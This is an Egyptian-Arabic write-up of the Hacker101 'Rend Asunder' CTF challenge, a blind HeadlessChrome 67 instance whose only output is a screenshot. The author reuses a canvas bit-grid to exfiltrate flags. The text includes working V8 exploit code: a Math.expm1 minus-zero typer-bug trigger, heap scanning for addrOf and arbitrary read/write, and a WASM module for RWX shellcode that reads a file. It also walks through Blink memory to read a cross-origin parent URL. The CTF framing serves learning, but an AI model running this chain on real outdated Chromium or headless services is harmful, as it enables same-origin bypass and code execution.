Rend Asunder Explained: لما المتصفح نفسه يبقى ملعبك والـ Screenshot يبقى قناة الإخراج الوحيدة
ثلاث سنين وأنا بلف حوالين نفس التحدي على Hacker101. HeadlessChrome 67، iframe معتم، V8 typer bug قديم، وثلاثة فلاجات. أخيراً قدرت أكسرها كلها. المقالة دي مش ملخص سريع، دي الخريطة الكاملة من أول ما تفتح الـ instance لحد ما تقرأ الملف من الديسك، خطوة بخطوة، عشان أي حد يقدر يعيد الإكسبلويت بنفسه.
تخيل إنك داخل غرفة مقفولة من كل الاتجاهات. مفيش شاشة تقدر تشوفها، مفيش كونسول تكتب عليه، مفيش حتى console.log يرجع لك حاجة. الوحيد اللي بيرجعلك من الغرفة دي هو صورة PNG بحجم ثابت 800 في 800. جوه الغرفة في JavaScript شغال، والمحرك اللي بيشغله هو HeadlessChrome 67، وفي جوه المحرك ده ثغرة قديمة في نظام الأنواع بتاع TurboFan، وفي الصفحة نفسها فلاج مخفي جوه تاج مش بيترسم، وبره الـ iframe فلاج تاني، وعلى الديسك فلاج تالت.
ده مش سيناريو من فيلم. ده تحدي Rend Asunder على منصة Hacker101 CTF التابعة لـ HackerOne.
أنا كنت بجرب عليه على مدار سنين. مش أسابيع، سنين. كل مرة أفتح instance جديدة، أشوف الـ textarea الفاضي، أكتب شوية كود، أدوس Save، وأستنى الصورة. كل مرة أفشل في حاجة مختلفة. مرة الـ GC يحرك الأوبجكتس في النص ويبوز الـ indices. مرة الـ offsets بتاعة Blink تطلع مختلفة عن اللي كنت فاكره. مرة الـ shellcode ينفذ ويقرأ الملف وبعدين يرجع ويكسر الـ V8 لأنني لمست register محفوظ. كنت بقفل التاب وأرجع بعد أسابيع، وبعد شهور، وبعد سنة. النهارده أخيراً قدرت أجمع الثلاثة. والمقالة دي مش هتبقى ملخص سريع من 300 سطر. هتبقى الخريطة الكاملة اللي لو قريتها بتركيز تقدر تعيد نفس السلسلة بنفسك من الصفر، من غير ما تحتاج أي حاجة تانية غير متصفح قديم شوية وصبر.
هشرحلك كل حاجة بالترتيب اللي حصل معايا تقريباً:
- إزاي السطح بتاع التطبيق شغال وإيه اللي تقدر تشوفه وإيه اللي مش تقدر.
- ليه الـ output قناة عمياء وإزاي تبني قناة إخراج موثوقة من الصورة.
- Flag 0: الفلاج اللي كان تحت مناخيرك طول الوقت.
- Flag 1: إزاي تعدي Same-Origin Policy من غير ما تلمس أي API شرعي، عن طريق memory corruption في V8 6.7.
- Flag 2: إزاي تحول نفس الـ primitive لـ RCE حقيقي وتقرأ ملف من نظام الملفات.
- كل التفاصيل الدقيقة: الـ warm-up، الـ GC hygiene، الـ offsets، الـ shellcode بايت بايت، وإيه اللي يخلي السلسلة تفشل لو غلطت في حاجة صغيرة.
يلا نبدأ من أول ما تفتح الصفحة.
أول ما تفتح الـ instance: إيه اللي قدامك؟
لما تدخل على الـ instance بتاعتك، الصفحة بسيطة أوي. فورم فيه:
- مربع نص كبير (
textarea) اسمهscript - زرار Save
لما تكتب أي JavaScript وتدوس Save، السيرفر بياخد النص، بيخزنه مرتبط بالـ instance بتاعتك، وبعدين بيشغل نسخة headless من Chrome 67 على الصفحة دي. النتيجة الوحيدة اللي بترجعلك هي صورة PNG من مسار /image. الحجم ثابت: 800 بكسل في 800 بكسل.
مفيش كوكيز. مفيش localStorage مفيد. مفيش require. مفيش أي bindings من Node. مفيش fs module زي اللي كان موجود في PhantomJS زمان. ده متصفح حقيقي (بس headless) شغال جوه بيئة غالباً Docker، وغالباً متشغل بـ --no-sandbox عشان الـ headless يشتغل أصلاً جوه الكونتينر.
الـ endpoints اللي تقدر تتعامل معاها ببساطة:
| المسار | الطريقة | إيه اللي بيعمله |
|---|---|---|
/ | GET | بيعرض الفورم والـ textarea |
/saveScript | POST | بياخد الـ script ويخزنه ويعمل redirect |
/image | GET | بيرجع الـ screenshot بتاع الصفحة المترندرة |
الـ script الافتراضي اللي بيبقى موجود لو مجربتش حاجة لسة:
document.write('Hello from JS');
لما تبعت أي كود من عندك، الصفحة اللي بتترندر جوه الـ headless بتبقى تقريباً بالشكل ده:
<!DOCTYPE html>
<html>
<head>...</head>
<body>
<noscript>^FLAG^................................$FLAG$</noscript>
<script>
/* هنا الـ JavaScript اللي أنت بعته */
</script>
</body>
</html>
والصفحة دي نفسها مش هي الـ top-level. هي جوه iframe. الـ parent بتاعها أصله opaque (غالباً data: URL)، فأي محاولة للوصول لـ parent.location أو parent.document بترمي SecurityError فوراً. window === top بتبقى false. location.ancestorOrigins[0] بتبقى "null".
إزاي تتأكد إنك فعلاً على Chrome 67؟
قبل ما تغوص في الثغرات، محتاج تتأكد من النسخة. تقدر تعمل probes بسيطة وترجع النتائج بأي طريقة تقدر تعرض بيها نص على الصورة (حتى لو OCR هيعاني):
var info = [
navigator.userAgent,
"BigInt: " + (typeof BigInt),
"flat: " + (typeof Array.prototype.flat),
"location: " + location.href,
"top: " + (window === top),
"ancestor: " + (location.ancestorOrigins ? location.ancestorOrigins[0] : "n/a")
].join("\n");
document.write("<pre>" + info + "</pre>");
النتائج اللي هتشوفها (بعد ما تفك الصورة بأي طريقة):
- الـ userAgent فيه
HeadlessChrome/67.0.3396.x typeof BigInt === "function"(ده ظهر من Chrome 67)Array.prototype.flat === undefined(ده دخل في Chrome 69)window === top= falseancestorOrigins[0]= “null”
كده أنت متأكد إنك على V8 6.7 تقريباً، والثغرة بتاعة الـ typer في Math.expm1 لسة موجودة ومش متصلحة.
المشكلة الأكبر من الثغرة نفسها: قناة الإخراج العمياء
قبل ما نتكلم عن أي فلاج، لازم نحل مشكلة أبسط وأصعب في نفس الوقت: إزاي تخرج داتا من جوه الـ headless وأنت مش شايف غير صورة؟
لو حاولت تعمل document.write لنص طويل زي فلاج طوله 64 حرف hex، الصورة هتظهر النص، بس أي OCR عادي هيفشل بشكل مزعج. الحرف 5 بيتقرأ s، الحرف 1 بيتقرأ l أو I، والحروف الرفيعة زي l و 1 و i بتضيع أو بتتلخبط. جربت OCR أكتر من مرة في السنين اللي فاتت، وفي كل مرة الفلاج يطلع مشوه ومش ينفع يتقدم.
الحل اللي وصلت له بعد تجارب كتير هو إنك متعتمدش على النص أصلاً. تحول البيانات لشكل بصري صلب: شبكة مربعات، كل مربع إما أسود أو أبيض، ودي بتمثل البتات واحد ورا التاني. وتحط علامات ملونة في الزوايا عشان أي سكربت فك يعرف الاتجاه والحجم حتى لو الصورة اتقطعت أو اتكبرت شوية.
الفكرة ببساطة:
- كل حرف hex = 4 بت
- 64 حرف = 256 بت
- شبكة 16 صف × 16 عمود = 256 خلية
- أسود = بت 1، أبيض = بت 0
- علامة حمراء في ركن، خضراء في ركن تاني، زرقاء في تالت
الكود اللي بيرسم الشبكة دي (هستخدمه في كل الفلاجات، وممكن تعدل عليه زي ما تحب، غير الأحجام والألوان لو حابب):
function paintBits(hexString) {
// نتأكد إن عندنا 64 حرف بالظبط
hexString = ("" + hexString).toLowerCase().replace(/[^0-9a-f]/g, "0");
while (hexString.length < 64) hexString += "0";
hexString = hexString.slice(0, 64);
var bits = [];
for (var i = 0; i < 64; i++) {
var nibble = parseInt(hexString.charAt(i), 16);
if (isNaN(nibble)) nibble = 0;
// من الـ MSB للـ LSB
for (var b = 3; b >= 0; b--) {
bits.push((nibble >> b) & 1);
}
}
var canvas = document.createElement("canvas");
canvas.width = 760;
canvas.height = 760;
var ctx = canvas.getContext("2d");
// خلفية بيضا
ctx.fillStyle = "#ffffff";
ctx.fillRect(0, 0, 760, 760);
// علامات الزوايا (تقدر تغير الألوان أو المواقع)
ctx.fillStyle = "#cc0000";
ctx.fillRect(4, 4, 26, 26);
ctx.fillStyle = "#00aa00";
ctx.fillRect(730, 4, 26, 26);
ctx.fillStyle = "#0000aa";
ctx.fillRect(4, 730, 26, 26);
var offset = 42;
var cellSize = 41;
var square = 26;
for (var row = 0; row < 16; row++) {
for (var col = 0; col < 16; col++) {
if (bits[row * 16 + col]) {
ctx.fillStyle = "#111111";
ctx.fillRect(
offset + col * cellSize,
offset + row * cellSize,
square,
square
);
}
}
}
// نمسح الصفحة ونحط الكانفاس بس
document.open();
document.write('<body style="margin:0;background:#fff"></body>');
document.close();
document.body.appendChild(canvas);
}
على جهازك تقدر تفك أي صورة بالشكل ده بسكربت Python بسيط يعتمد على أي مكتبة صور. الفكرة إنك تلاقي العلامات الملونة الأول، تحسب النسبة، وبعدين تقرا متوسط السطوع في مركز كل خلية. لو السطوع واطي اعتبرها 1، لو عالي اعتبرها 0. بعدين تجمع كل 4 بت في حرف hex.
الطريقة دي أطول من document.write العادي، بس موثوقة. جربت أكتر من طريقة تانية (تغيير لون الخلفية حسب البت، رسم خطوط، حتى محاولة استغلال توقيت الـ request) وكلها كانت أقل استقراراً من الشبكة الثابتة.
دلوقتي عندك طريقة تخرج بيها أي 64 حرف hex من جوه الـ headless. خلينا ندخل على الفلاجات واحد واحد.
Flag 0: الفلاج اللي كان تحت مناخيرك طول الوقت
الـ hints اللي كانت مكتوبة للتحدي كانت بتدور حوالين فكرة “إيه اللي عندك access عليه؟” و”بص حوالين الـ sandbox” وعبارة فيها حروف كبيرة غريبة بتشير للـ DOM.
لما JavaScript شغال، محتوى تاج <noscript> مش بيترسم على الشاشة. المتصفح بيفترض إنك مش محتاج تشوفه. بس الـ bytes نفسها لسة موجودة في الـ HTML source بتاع الصفحة. والصفحة دي same-origin معاك، فأنت تقدر تقراها بأي طريقة تقرأ بيها الـ source.
أول حاجة جربتها من سنين كانت ببساطة:
document.write(document.getElementsByTagName("noscript")[0].innerHTML);
لو قدرت تقرا النص من الصورة كنت هتشوف الفلاج. بس زي ما قولت، الاعتماد على OCR للنص الطويل مش فكرة كويسة. فاستخدمت نفس دالة الرسم بعد ما استخرجت الفلاج من الـ source:
var xhr = new XMLHttpRequest();
xhr.open("GET", location.href, false); // sync عشان نخلص قبل ما الصورة تتاخد
xhr.send(null);
var html = xhr.responseText;
var match = html.match(/\^FLAG\^([0-9a-fA-F]{64})\$FLAG\$/);
var flagHex = match ? match[1] : "0".repeat(64);
paintBits(flagHex);
الـ XHR الـ synchronous بيجيبلك الـ HTML الكامل بتاع صفحتك نفسها (بما فيه الـ noscript)، وبعدين بتستخرج الفلاج وترسمه كشبكة بتات.
الفكرة بسيطة بس مهمة جداً في أي بيئة blind أو حتى في تطبيقات عادية: “مش ظاهر على الشاشة” مش معناها “مش موجود في الذاكرة أو في الـ source”. دايماً اعمل dump للـ source بتاع أي صفحة أنت بتتحكم في محتواها أو تقدر تقراها.
بعد ما تحفظ الصورة من /image وتفكها، عندك Flag 0.
Flag 1: تعدي الـ Same-Origin Policy من غير ما تلمس أي API شرعي
الـ hints بتاعة الفلاج التاني كانت بتشير إن الصفحة المترندرة شكلها غريب، وإنك ممكن تبص بره الـ iframe، وإن حاجة ممكن تكون في الـ body أو الـ URL بتاع الـ parent.
الفلاج موجود في الـ parent. الـ parent أصله opaque، فـ parent.location و parent.document بيرموا SecurityError. مفيش طريقة شرعية في Web APIs تديك محتوى الـ parent أو حتى الـ URL بتاعه لما الأصل opaque.
بس الـ Same-Origin Policy ده حماية software، مش hardware. الـ parent والـ child بيشتغلوا في نفس الـ renderer process. يعني عنوان الـ URL بتاع الـ parent موجود في نفس الـ address space اللي الـ JavaScript بتاعك بيقدر يوصل له لو قدر يعمل arbitrary read.
الثغرة الجذرية: Math.expm1 و الـ minus zero في TurboFan
في معيار IEEE-754، القيمة -0 موجودة ومختلفة عن +0 في بعض العمليات. Math.expm1(-0) المفروض ترجع -0 بالظبط.
في V8 6.7 (اللي كان في Chrome 67)، الـ TurboFan typer كان بيصف نوع ناتج Math.expm1 كـ اتحاد بين PlainNumber و NaN. و PlainNumber في التصنيف ده كان بيستبعد -0 عمداً.
يعني الـ optimizer كان بيؤمن إن التعبير ده:
Object.is(Math.expm1(x), -0)
عمرها ما هتبقى true. فلو استخدمت النتيجة كمعامل في حساب index، الـ optimizer بيشيل فحوصات الحدود لأنه فاكر إن الـ index دايماً صفر.
في الـ runtime لو بعتت -0 حقيقي، الفحص بيبقى true، والـ index بيبقى غير صفر، وبتقدر تعمل كتابة أو قراءة خارج حدود المصفوفة.
عشان تخلي الـ call site يتـoptimize، محتاج تعمل warm-up بطريقة معينة. لو بعتت الرقم 0 مباشرة من الأول، الـ feedback ممكن يخلي الـ function تفضل في وضع مش متـoptimize أو يخلي الـ type feedback مختلف. الطريقة اللي اشتغلت معايا بعد تجارب هي إنك تعمل warm-up بالـ string "0" (اللي بيتحول لرقم جوه الـ function)، وبعدين تضرب بالـ -0 الحقيقي:
var float64 = new Float64Array(1);
var uint32 = new Uint32Array(float64.buffer);
function toDouble(low, high) {
uint32[0] = low >>> 0;
uint32[1] = high >>> 0;
return float64[0];
}
function fromDouble(value) {
float64[0] = value;
return [uint32[0] >>> 0, uint32[1] >>> 0];
}
var oobArray;
function trigger(x) {
var doubles = [1.1, 2.2, 3.3, 4.4];
var target = [5.5, 6.6, 7.7];
var minusZeroObj = { mz: -0 };
var isMinusZero = Object.is(Math.expm1(x), minusZeroObj.mz);
// لما isMinusZero = true، الـ index بيبقى كبير، وده خارج حدود doubles
// فبنكتب في منطقة قريبة من length بتاع target
doubles[isMinusZero * 12] = toDouble(0, 0x43434343);
oobArray = target;
return doubles[isMinusZero * 100];
}
// warm-up
trigger(0);
for (var i = 0; i < 120000; i++) {
trigger("0");
}
// النار
trigger(-0);
if (!oobArray || oobArray.length < 100) {
paintBits("dead0001" + "0".repeat(56));
throw new Error("OOB failed");
}
دلوقتي oobArray بقى مصفوفة double طولها ضخم جداً. دي نافذتك على الـ heap.
بناء addrOf و arbitrary read/write
الخطوات الكلاسيكية في استغلال OOB على double array في إصدارات V8 القديمة دي:
- عندك OOB float view (
oobArray). - تحط مصفوفة objects في مكان قريب في الـ heap.
- تكتب قيمة معروفة في object array وتقراها من الـ OOB → كده عندك طريقة تحول object لعنوانه (
addrOf). - تحط
ArrayBuffer، تلاقي حقل الـbyte_lengthوالـ backing store pointer من خلال الـ OOB، تغير الـ pointer → arbitrary read/write عن طريق DataView أو TypedArray.
الكود العملي (مع شوية بحث و retries عشان ترتيب الـ heap مش مضمون 100% من run لـ run):
var objectArray = [0x13371337, {}, function(){}, 0xdead];
var ab = new ArrayBuffer(0x1000);
var view = new DataView(ab);
// نلاقي slot الـ object array جوه الـ OOB
var objectSlot = -1;
for (var i = 0; i < 4000; i++) {
objectArray[0] = 0x1111;
var v1 = oobArray[i];
objectArray[0] = 0x2222;
var v2 = oobArray[i];
if (v1 !== v2) {
objectSlot = i;
break;
}
}
if (objectSlot < 0) {
paintBits("dead0002" + "0".repeat(56));
throw new Error("object slot not found");
}
function addrOf(obj) {
objectArray[0] = obj;
return oobArray[objectSlot];
}
// نلاقي ArrayBuffer في الـ OOB عن طريق البحث عن قيمة الـ byte_length
var abLengthSlot = -1;
var abBackingSlot = -1;
objectArray[0] = ab;
for (var i = 0; i < 5000; i++) {
var parts = fromDouble(oobArray[i]);
if (parts[0] === 0x1000 || parts[1] === 0x1000) {
abLengthSlot = i;
abBackingSlot = i + 1;
// تحقق سريع إننا نقدر نغير القيمة ونقراها
oobArray[i] = toDouble(0x2000, parts[1]);
var check = fromDouble(oobArray[i]);
if (check[0] === 0x2000 || check[1] === 0x2000) {
oobArray[i] = toDouble(0x1000, 0);
break;
}
}
}
if (abLengthSlot < 0) {
paintBits("dead0003" + "0".repeat(56));
throw new Error("ArrayBuffer not found");
}
var originalBacking = fromDouble(oobArray[abBackingSlot]);
function read64(addrLow, addrHigh) {
oobArray[abBackingSlot] = toDouble(addrLow, addrHigh);
var low = view.getUint32(0, true);
var high = view.getUint32(4, true);
return [low, high];
}
function write64(addrLow, addrHigh, valueLow, valueHigh) {
oobArray[abBackingSlot] = toDouble(addrLow, addrHigh);
view.setUint32(0, valueLow >>> 0, true);
view.setUint32(4, valueHigh >>> 0, true);
}
// نتأكد إن الـ arbitrary read/write شغال
write64(originalBacking[0], originalBacking[1], 0x41414141, 0x42424242);
var test = read64(originalBacking[0], originalBacking[1]);
if (test[0] !== 0x41414141 || test[1] !== 0x42424242) {
// في بعض الـ builds الـ layout بيختلف بـ بضعة بايتات، فممكن تحتاج scan إضافي
paintBits("dead0004" + "0".repeat(56));
}
مهم جداً في المرحلة دي: بعد ما تلاقي الـ slots، قلل أي allocations جديدة لأقصى درجة. أي new أو إنشاء object كبير ممكن يشغل الـ scavenge ويحرك الأوبجكتس ويبوز كل الـ indices اللي لقيتها.
المشي جوه Blink لحد ما نوصل لـ parent URL
document في JavaScript مش مجرد object عادي. هو wrapper حوالين C++ object من محرك Blink. على النسخة المحددة بتاعة Chrome 67 اللي كانت بتشتغل في التحدي، سلسلة المؤشرات كانت تقريباً كده:
- من الـ JS wrapper تروح للـ C++ Document (إزاحة معينة جوه الـ wrapper)
- من الـ child Document تروح لعنصر في شجرة الـ frames
- من العنصر ده تروح للـ parent Document
- من الـ parent Document تروح لحقل الـ
url_ - الـ
url_بيكونStringImpl*، ومنه تقرا الطول والحروف
لأن كائنات Blink عايشة على heap مش بيتحرك مع الـ GC بتاع V8، الإزاحات دي ثابتة لنفس الـ build. لو الـ build اختلف شوية ممكن تحتاج تعمل scan بسيط حوالين القيم المتوقعة.
بعد ما تقرا الـ StringImpl، هتلاقي إن الـ parent URL بيبدأ بـ data:text/html وفي جوه (بعد decodeURIComponent لو محتاج) نمط الفلاج.
ترسم الفلاج بنفس paintBits وتفك الصورة، وخلاص عندك Flag 1.
الدرس هنا: الـ Same-Origin Policy حماية قوية على مستوى الـ API، بس لو قدرت تعمل arbitrary read جوه نفس الـ process، “cross-origin” بتبقى مجرد مطاردة مؤشرات في الذاكرة.
Flag 2: من arbitrary read/write لـ RCE حقيقي
الـ hint بتاع الفلاج التالت كان مباشر: محتاج RCE، مفيش طريق تاني.
نفس الـ primitive، المرة دي هنستخدمه عشان نكتب كود قابل للتنفيذ.
ليه WebAssembly بالذات؟
في Chrome 67، صفحات الكود الناتجة من الـ JS JIT كانت خلاص محمية بـ W^X (Write XOR Execute). يعني مش سهل تكتب عليها وتنفذ منها في نفس الوقت. بس WebAssembly في النسخة دي كانت لسة بتـcompile على صفحات RWX كاملة الصلاحيات.
الخطة العامة:
- تعمل module WASM صغير جداً بيـexport دالة بترجع قيمة ثابتة.
- تحط table من نوع funcref فيها على الأقل عنصر واحد، عشان الـ instance يملأ حقل ثابت في ذاكرته.
- تقرا عنوان الصفحة الـ RWX من خلال الـ instance.
- تكتب shellcode مكان الكود الأصلي.
- تستدعي الدالة المصدرة فينفذ الـ shellcode بتاعك.
الـ module نفسه ممكن يكون بالـ bytes الخام بالشكل ده (module بيرجع 42 وفي table):
var wasmBytes = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // magic + version
0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, // type: () -> i32
0x03, 0x02, 0x01, 0x00, // function
0x04, 0x04, 0x01, 0x70, 0x00, 0x01, // table funcref min=1
0x07, 0x05, 0x01, 0x01, 0x66, 0x00, 0x00, // export "f"
0x09, 0x07, 0x01, 0x00, 0x41, 0x00, 0x0b, 0x01, 0x00, // element
0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a, 0x0b // code: i32.const 42; end
]);
var mod = new WebAssembly.Module(wasmBytes);
var inst = new WebAssembly.Instance(mod, {});
var fn = inst.exports.f;
if (fn() !== 42) {
paintBits("bad0001" + "0".repeat(56));
throw new Error("WASM basic test failed");
}
بعد ما الـ table تتملأ، تقدر تقرا من الـ instance عنوان المصفوفة اللي فيها entry points، ومنها عنوان الصفحة الـ RWX. تتأكد إن الصفحة بتبدأ بالـ machine code المتوقع للدالة (mov eax, 42; ret أو ما يشابهه).
إثبات التنفيذ
قبل ما تكتب shellcode معقد، اكتب حاجة بسيطة زي:
mov eax, 0x1337
ret
لو استدعيت الدالة ورجعت القيمة دي، تبقى عارف إن الكتابة والتنفيذ شغالين.
قراءة الملف
الملف المطلوب موجود باسم واضح في مجلد العمل بتاع الـ process. لأن الـ headless شغال غالباً من غير sandbox كامل، استدعاءات open و read بتنجح.
الـ shellcode بيبقى عبارة عن:
- تحضير عنوان سلسلة اسم الملف في مكان ثابت تقدر تحسبه
- استدعاء sys_open
- استدعاء sys_read على buffer كبير
- تخزين عدد البايتات المقروءة في مكان تقدر ترجعه أو تقراه من JS بعدين
- ret
مهم جداً: استخدم بس الـ registers اللي الـ calling convention بتعتبرها caller-saved. لو لمست registers محفوظة (زي rbx أو rbp أو الـ r12 وما بعده) الـ V8 هيرجع من الـ native code ويلاقي الـ state بايظ ويعمل crash.
بعد ما الـ shellcode يخلص، تقرا المحتوى من الـ buffer، تستخرج نمط الفلاج، وترسمه بنفس طريقة الشبكة.
السلسلة الكاملة من أول ما تفتح الصفحة لحد ما تقرا الملف
1. اكتب JS في الـ textarea وادوس Save
2. الصفحة تترندر جوه HeadlessChrome 67 جوه iframe
3. Flag 0: اقرا محتوى <noscript> من صفحتك نفسها (same-origin XHR أو DOM)
4. ابني OOB عن طريق confusion في نوع ناتج Math.expm1 مع -0
5. ابني addrOf + arbitrary read/write مع الحرص على الـ GC
6. Flag 1: امشي من document wrapper عبر Blink لحد parent URL و StringImpl
7. Flag 2: اعمل WASM instance فيه table → اقرا RWX → اكتب shellcode → نفذ → اقرا الملف
8. ارسم أي فلاج كشبكة بتات على كانفاس
9. خد الصورة من /image وفكها على جهازك
ليه السلسلة دي مستقرة نسبياً على الـ instance الحقيقية؟
- كائنات Blink والمصفوفات الـ malloc’d بتاعة WASM مش بتتحرك مع الـ GC بتاع V8. الـ young generation بتتحرك. أي طريقة بتحاول تمشي جوه objects على الـ moving heap بتنجح على جهازك الهادئ وبتنهار على الـ instance اللي الـ GC فيها شغال بقوة.
- الـ warm-up بطريقة معينة (string بدل number) مهم عشان الـ type feedback.
- بعد ما تلاقي الـ slots، قلل الـ allocations.
- الـ shellcode لازم يحترم الـ calling convention.
ملاحظات من سنين التجربة الفاشلة والناجحة
في أول فترة كنت فاكر إن المشكلة كلها في الـ iframe وحاولت كل حيل frame busting الكلاسيكية. محدش اشتغل لأن الأصل opaque. بعد كده قضيت وقت طويل بحاول أعمل OOB بطرق تانية قبل ما أستقر على Math.expm1. الـ offsets بتاعة Blink كانت أحياناً تختلف بين instances بسيطة، فاضطريت أضيف scans بدل ما أعتمد على أرقام ثابتة تماماً. الـ shellcode فشل معايا مرات كتير لأنني كنت بحفظ registers زيادة أو لأنني نسيت إن الـ buffer لازم يكون في مكان ثابت الـ address بتاعه معروف قبل ما أبني الـ shellcode.
كل فشل كان بيعلمني حاجة عن ترتيب الـ heap أو عن إزاي TurboFan بيقرر يشيل فحوصات أو عن إزاي Blink بيربط الـ documents ببعض.
هل في طرق تانية؟
طبعاً. ممكن حد يلاقي typer bug تانية، أو طريقة OOB مختلفة، أو طريقة exfiltration بالـ timing أو بتغيير حجم عناصر تانية. الشبكة البصرية مش الطريقة الوحيدة، بس هي من أكتر الطرق استقراراً لما الـ output يكون صورة بس. الـ WASM مش الطريق الوحيد لـ RWX، بس كان المتاح والثابت في النسخة دي.
اللي يهم إن السلسلة كاملة من غير ما تعتمد على أي خدمة خارجية أو أي أداة جاهزة غير اللي أنت كاتبه.
الخاتمة
ثلاث سنين وأنا بفتح نفس نوع الـ instance، أجرب، أفشل، أقفل، وأرجع. الثغرة مكانتش في منطق التطبيق اللي قدامك. الثغرة كانت في المحرك اللي بيشغل الكود اللي أنت بتبعتّه. الـ Same-Origin Policy كان شرط في الكود، والـ sandbox كان ضعيف لأن البيئة محتاجة تشغل headless، وصفحات الـ WASM كانت لسة RWX.
النهارده الفلاجات التلاتة اتجمعت. لو وصلت لهنا وفهمت كل خطوة وليه كل اختيار اتعمل، تقدر تعيد نفس السلسلة.
أأمن deserializer هو اللي مش بتستدعيه. وأأمن متصفح هو اللي مش بتسيبه يشغل كودك على محرك لسة فيه confusions من 2018.
خد وقتك، جرب، اكسر، وارجع تاني لو محتاج. الثغرات القديمة مش بتروح لأنها قديمة، بتروح لما الناس تبطل تشغل النسخ اللي فيها.